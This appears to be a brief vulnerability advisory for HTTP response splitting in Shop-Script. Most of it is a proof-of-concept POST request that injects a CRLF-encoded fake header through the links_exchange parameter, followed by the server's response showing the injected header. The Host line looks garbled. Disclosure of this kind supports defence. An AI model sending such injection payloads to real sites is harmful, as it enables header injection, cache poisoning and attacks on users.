Shop-Script Multiple HTTP Response Splitting Vulnerabilities

Shop-Script Multiple HTTP Response Splitting Vulnerabilities

An exploit is not required.

The following proof of concept has been provided:

[Request Header]

POST /premium/index.php?links_exchange=%0d%0aFakeHeader:Fake_Custom_Header
HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET
CLR 1.1.4322)
Host: www.example.comhttp://www.shop-script-demo.com/
Content-Length: 18
Cookie: PHPSESSID=e0d1c748db4ce6fa7886403e65458aaa
Connection: Close
Pragma: no-cache

current_currency=1

[Response Header]

HTTP/1.1 302 Found
Date: Mon, 16 Oct 2006 17:39:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Location: index.php?links_exchange=
FakeHeader:Fake_Custom_Header <= [Custome response
injected by the attacker]
Content-Length: 0
Connection: close
Content-Type: text/html